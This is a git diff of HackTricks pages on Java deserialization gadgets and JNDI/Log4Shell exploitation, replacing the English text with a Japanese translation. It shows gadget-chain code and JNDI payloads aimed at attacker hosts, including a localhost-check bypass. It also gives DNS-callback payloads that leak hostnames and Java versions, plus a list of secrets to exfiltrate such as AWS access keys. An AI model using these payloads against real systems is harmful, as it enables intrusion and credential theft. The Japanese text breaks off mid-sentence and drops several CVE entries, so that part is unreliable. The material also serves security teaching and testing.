+Object.class, Object[].class +}, new Object[] +{ +null, new Object[] {7000L} +}), +}; - ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); - Map map = new HashMap<>(); - Map lazyMap = LazyMap.decorate(map, chainedTransformer); - - //Execute gadgets - lazyMap.get("anything"); - - } +ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); +Map map = new HashMap<>(); +Map lazyMap = LazyMap.decorate(map, chainedTransformer); + +//Execute gadgets +lazyMap.get("anything"); + +} } ``` +## もっとガジェット -## More Gadgets - -You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) +ここでさらにガジェットを見つけることができます:[https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) ## @@ -242,10 +220,10 @@ You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java- ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 6c98b2888..5638fcfb5 100644 --- a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -4,179 +4,157 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** -## Basic Information +## 基本情報 -JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory. +JNDIは1990年代後半からJavaに存在しています。これは、**名前サービスを使用してディレクトリを介してデータを検索するためのJavaプログラムを可能にするディレクトリサービス**です。名前サービスは値(バインディング)を関連付けるため、ディレクトリ内の参照を介して取得できます。 -JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises. +JNDIには、さまざまなディレクトリサービスを使用するための**サービスプロバイダインタフェース(SPI)**があります。 JNDIの目標は、他のシステムからデータを非常に簡単に取得することです。さらに、リモートでJavaオブジェクトを取得することもできますが、そこで問題が発生します。 -For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**. +たとえば、**CORBA COS**(Common Object Service)、**Java RMI**(Remote Method Interface)レジストリ、**LDAP**にはSPIが存在します。 ![](<../../.gitbook/assets/image (627).png>) ### JNDI Naming Reference -In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this won’t work (maybe because the data is too large, or any other thing).\ -In order to save more easily Java Objects, **Naming References are used**.\ -There are 2 types of Naming References: +Javaオブジェクトをシリアライズしてバイナリ表現を保存することで、Javaオブジェクトを取得することができます。ただし、これが機能しない場合もあります(データが大きすぎる場合など)。\ +Javaオブジェクトをより簡単に保存するために、**Naming References**が使用されます。\ +2つのタイプのNaming Referencesがあります。 -* **Reference Addresses**: This indicates the address of the Object (_rmi://server/ref_), then the **object will be retrieved from that address**. -* **Remote Factory**: In this case a **remote factory class** will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the **class will be downloaded and loaded**. +* **Reference Addresses**:これはオブジェクトのアドレスを示します(_rmi://server/ref_)。その後、**そのアドレスからオブジェクトが取得**されます。 +* **Remote Factory**:この場合、JNDI参照に**リモートファクトリクラス**が指定されます。その後、JNDIアドレスに従ってリモートクラスがリモートファクトリから取得され、**クラスがダウンロードおよびロード**されます。 -This is dangerous because **attackers may make the system load arbitrary objects and execute arbitrary code**, therefore some protections exists: +これは危険です。**攻撃者はシステムに任意のオブジェクトをロードし、任意のコードを実行**する可能性があるため、いくつかの保護策が存在します。 -* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default since **JDK 7u21**, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a **Security Manager** is enforced to configure what can be loaded. -* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default since **JDK** **6u141, 7u131, 8u121**, and it won’t allow to execute arbitrary java objects downloaded. But if this is set to `true` it will and **no Security Manager will be enforced**. -* **CORBA**: There is no property to be configured but the **Security Manager is always enforced**. +* **RMI**:デフォルトでは`java.rmi.server.useCodeabseOnly = true`(**JDK 7u21**以降)であり、それ以外の場合はカスタムJavaオブジェクトをリモートでロードできます。さらに、保護が無効になっていても、**セキュリティマネージャ**が構成されているため、ロードできるものを設定できます。 +* **LDAP**:デフォルトでは`com.sun.jndi.ldap.object.trustURLCodebase = false`(**JDK 6u141、7u131、8u121**以降)であり、任意のJavaオブジェクトをダウンロードして実行することはできません。ただし、これを`true`に設定すると、実行できますが、**セキュリティマネージャは強制されません**。 +* **CORBA**:設定するプロパティはありませんが、**セキュリティマネージャは常に強制されます**。 -Moreover, the **Naming Manager**, the one that is going to follow the JNDI links, doesn’t have any Security Manager or property to be configured, so it will always try to get the object. +さらに、JNDIリンクをたどる**Naming Manager**にはセキュリティマネージャや設定するプロパティがないため、常にオブジェクトを取得しようとします。 -As you can see the **protections in general aren’t enough** because there is **no protection agains loading JNDI from random addresses** and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to **load arbitrary java objects** or to **load java objects** that will abuse existent components in the application as **gadgets to execute arbitrary code**. +一般的に、保護策は十分ではありません。ランダムなアドレスからのJNDIのロードに対する保護はなく、RMI、LDAP、CORBAの保護策はバイパスされる可能性があります(設定による)ため、任意のJavaオブジェクトをロードしたり、アプリケーション内の既存のコンポーネントを悪用するためのガジェットとしてJavaオブジェクトをロードしたりすることができます。 -URLs example to abuse JNDI: +JNDIを悪用するためのURLの例: * _rmi://attacker-server/bar_ * _ldap://attacker-server/bar_ * _iiop://attacker-server/bar_ -### JNDI Example +### JNDIの例 ![](<../../.gitbook/assets/image (655) (1) (1).png>) -Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him. +**`PROVIDER_URL`**を設定していても、lookupで異なるURLを指定することができます:`ctx.lookup("")`。これが攻撃者が自身が制御するシステムから任意のオブジェクトをロードするために悪用する方法です。 ### CORBA -An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\ -Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\ -Note that **by default CORBA cannot be abused**.\ -It requires: +**相互運用可能なオブジェクトリファレンス(IOR)**は、リモートCORBAサーバー上のオブジェクトを一意に識別するCORBAまたはRMI-IIOPリファレンスです。IORはバイナリ形式またはバイナリの16進数表現の文字列で存在します。\ +その他の情報の中には、**Type ID**(インターフェースの一意の識別子)と**Codebase**(スタブクラスを取得するために使用するリモートの場所)が含まれます。\ +デフォルトでは、**CORBAは悪用できません**。\ +次のものが必要です。 -* A **Security Manager must be installed** -* Connection to the **codebase controlled by the attacker must be allowed** by Security Manager. There are different ways to allow this: - * Socket permission: `permissions java.net.SocketPermission "*:1098-1099", "connect";` - * File permission allowing to read all files: `permission java.io.FilePermission "<>", "read";` - * File permission to read the folder where the attacker can upload the exploits (classes or zip archive) - -You might find **policies of vendors allowing this by default**. +* **セキュリティマネージャをインストールする必要があります** +* 攻撃者が制御する**コードベースへの接続をセキュリティマネージャが許可する**必要があります。これを許可するためのさまざまな方法があります。 +* ソケットの許可:`permissions java.net.SocketPermission "*:1098-1099", "connect";` +* すべてのファイルを読み取るためのファイルの許可:`permission java.io.FilePermission "<>", "read";` +* 攻撃者がエクスプロイト(クラスまたはzipアーカイブ)をアップロードできるフォルダを読み取るためのファイルの許可 +**デフォルトでこれを許可するベンダーのポリシー**が見つかるかもしれません。 ### RMI -As indicated in the previous **JNDI Naming Reference Section, RMI by default won’t allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA). +前の**JNDI Naming Referenceセクションで示されているように、デフォルトではRMIは任意のJavaクラスのダウンロードを許可しません**。さらに、許可された場合でも、**セキュリティマネージャーポリシーをバイパスする必要があります**(前のセクションでは、これがCORBAで可能であることを学びました)。 ### LDAP -First of all, wee need to distinguish between a Search and a Lookup.\ -A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\ -A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**. +まず、検索とルックアップを区別する必要があります。\ +**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけてその属性を**取得します**。\ +**ルックアップ**は、**名前にバインドされているものを取得するためのネーミングサービス**です。 -If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**. +LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。 -Therefore, there are several ways to attack these options.\ -An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example. +したがって、これらのオプションを攻撃する方法はいくつかあります。\ +**攻撃者は、LDAPレコードにペイロードを挿入して、それらを収集するシステムで実行される**(LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です)。これを悪用する別の方法は、例えばLDAP検索で**MitM攻撃を実行する**ことです。 -In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell). +アプリケーションがJNDI LDAP URLを解決することができる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を送り返すことができます。 -#### Deserialization exploit +#### シリアライゼーションエクスプロイト ![](<../../.gitbook/assets/image (654) (1) (1) (1).png>) -The **exploit is serialized** and will be deserialized.\ -In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath. +**エクスプロイトはシリアライズされ、デシリアライズされます**。\ +`trustURLCodebase`が`true`の場合、攻撃者はコードベースに独自のクラスを提供できます。そうでない場合は、クラスパスのガジェットを悪用する必要があります。 -#### JNDI Reference exploit +#### JNDIリファレンスエクスプロイト -It's easier to attack this LDAP using **JavaFactory references**: +このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です。 ![](<../../.gitbook/assets/image (660) (1) (1).png>) -## Log4Shell Vulnerability +## Log4Shell脆弱性 -The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java. +この脆弱性は、Log4jが[**特殊な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。この構文は`${prefix:name}`の形式で、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきです。例えば、`${java:version}`は現在実行中のJavaのバージョンです。 -In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.” +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)では、次のように`jndi` Lookupが追加されました。「JndiLookupはJNDIを介して変数を取得することができます。デフォルトでは、キーはjava:comp/env/で接頭辞が付けられますが、キーに**":"が含まれている場合は接頭辞は追加されません**。」 -With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged. +キーに**":"が含まれている場合、`${jndi:ldap://example.com/a}`のように、接頭辞はなくなり、LDAPサーバーがオブジェクトをクエリします。これらのLookupsは、Log4jの設定だけでなく、ログが記録されるときにも使用できます。 -Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated. +したがって、RCEを得るためには、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4jが必要です**。そして、これはJavaアプリケーションで広く使用されているライブラリであり、HTTPヘッダーなどの受信した情報(インターネットに面したアプリケーションも含む)をログに記録するためにlog4jが非常に一般的であることがよくありました。ただし、log4jはHTTP情報だけでなく、開発者が指定した任意の入力とデータをログに記録するために使用されます。 -## Log4Shell CVEs +## Log4Shell CVE -* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\ - \ - Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\ - \ - Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\ - \ - Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\\ -* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\ - \ - Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\ - \ - The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was:\ - _Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\ - \_\_\ - \_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\\ -* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\ - \ - While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\ - \ - Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\\ -* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\ - \ - Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\ - \ - That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\ -* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). -* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: オリジナルの「Log4Shell」脆弱性は、[信頼されていないデシリアライゼーション](https://cwe.mitre.org/data/definitions/502.html)の欠陥です。重大度はクリティカルで、この脆弱性は[CVSS](https://www.first.org/cvss/)スケールで10点を獲得し、認証されていない攻撃者にリモートコード実行(RCE)の機能を与え、完全なシステム乗っ取りを許可します。\ +\ +11月24日にアリババクラウドセキュリティチームのChen Zhaojun氏がApacheに報告したCVE-2021-44228は、Apache Struts2、Apache Solr、Apache Druid、Apache Flinkなど、複数のApacheフレームワークのデフォルト構成に影響を与えます。\ +\ +最も危険な脆弱性であるこの脆弱性は、[log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core)コンポーネントに存在し、2.xバージョンの2.0-beta9から2.14.1までの範囲に制限されています。Log4Shellの修正はバージョン2.15.0でリリースされましたが、不完全とされました(後続の内容を参照)。\ +\ +脅威インテリジェンスアナリストのFlorian Roth氏は、防御策の1つとして使用できるSigmaルール\[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)]を共有しています。\\ +* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**、以前はLow]: これはDoS(サービス拒否)の欠陥で、3.7から9.0にスコアリングされます。この欠陥は、CVE-2021-44228の2.15.0への不完全な修正の結果として発生しました。2.15.0への修正は、欠陥をほとんど解決しましたが、**非デフォルトの構成**には当てはまりませんでした。\ +\ +Log4j 2.15.0は、デフォルトでJNDI LDAPルックアップを\_localhostに制限するための「ベストエフォート」を行います。ただし、**スレッドコンテキストマップ(MDC)の入力データを制御できる攻撃者**は、JNDIルックアップパターンを介して悪意のあるペイロードを作成してDoS攻撃を引き起こすことができます。これは、非デフォルトの構成で、コンテキストル +## Log4Shellの悪用 -## Log4Shell Exploitation +### 発見 -### Discovery +この脆弱性は非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくとも**DNSリクエスト**が送信されるからです。したがって、以下のようなペイロードがあります。 -This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like: +* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`([canarytokens.com](https://canarytokens.org/generate)を使用) +* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`([interactsh](https://github.com/projectdiscovery/interactsh)を使用) +* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}`(Burp Suiteを使用) +* `${jndi:ldap://2j4ayo.dnslog.cn}`([dnslog](http://dnslog.cn)を使用) +* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`([huntress](https://log4shell.huntress.com)を使用) -* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate)) -* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh)) -* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite) -* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn)) -* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com)) - -Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it. +**DNSリクエストが受信されたからといって、アプリケーションが悪用可能**(または脆弱性がある)であるということではありません。悪用を試みる必要があります。 {% hint style="info" %} -Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...} +バージョン2.15を**悪用するには、localhostのチェックバイパス**を追加する必要があります:${jndi:ldap://**127.0.0.1#**...} {% endhint %} -#### **Local Discovery** - -Search for **local vulnerable versions** of the library with: +#### **ローカルの発見** +次のコマンドで、ライブラリの**ローカルの脆弱なバージョン**を検索します。 ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` +### **検証** -### **Verification** +以前にリストアップされたいくつかのプラットフォームでは、要求されたときにログに記録される変数データを挿入することができます。\ +これは2つのことに非常に役立ちます。 -Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\ -This can be very useful for 2 things: +* 脆弱性を**検証**するために +* 脆弱性を悪用して情報を**外部流出**するために -* To **verify** the vulnerability -* To **exfiltrate information** abusing the vulnerability - -For example you could request something like:\ -or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable. - -Other information you could try to **leak**: +例えば、次のようなリクエストを送信することができます:\ +`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** と、もし環境変数の値を含む**DNSリクエストが受信された場合**、アプリケーションは脆弱性があることがわかります。 +他にも漏洩させることができる情報は以下の通りです: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} @@ -227,84 +205,70 @@ ${sys:user.name} Any other env variable name that could store sensitive information ``` - -### RCE Information +### RCE情報 {% hint style="info" %} -Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\ -This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier). +**JDKのバージョンが6u141、7u131、8u121よりも高いホストは、LDAPクラスの読み込みベクトルに対して保護されますが、逆シリアル化ベクトルには保護されません**。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているため、JNDIがLDAPを使用してリモートコードベースを読み込むことができないためです。ただし、逆シリアル化と変数の漏洩は引き続き可能です。\ +これはつまり、**上記のバージョンを悪用するには、Javaアプリケーション上に存在するいくつかの信頼されたガジェットを悪用する必要があります(例えば、ysoserialやJNDIExploitを使用する)**。ただし、より低いバージョンを悪用するには、任意のクラスをロードして実行させることができます(これにより攻撃が容易になります)。 -For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) +**詳細な情報**(RMIおよびCORBAベクトルの制限など)については、**前のJNDI Naming Referenceセクション**または[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)を参照してください。 {% endhint %} -### RCE - Marshalsec with custom payload +### RCE - カスタムペイロードを使用したMarshalsec -_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_ - -For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served: +_このトリックは、**THMボックス**から完全に引用されています:_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_ 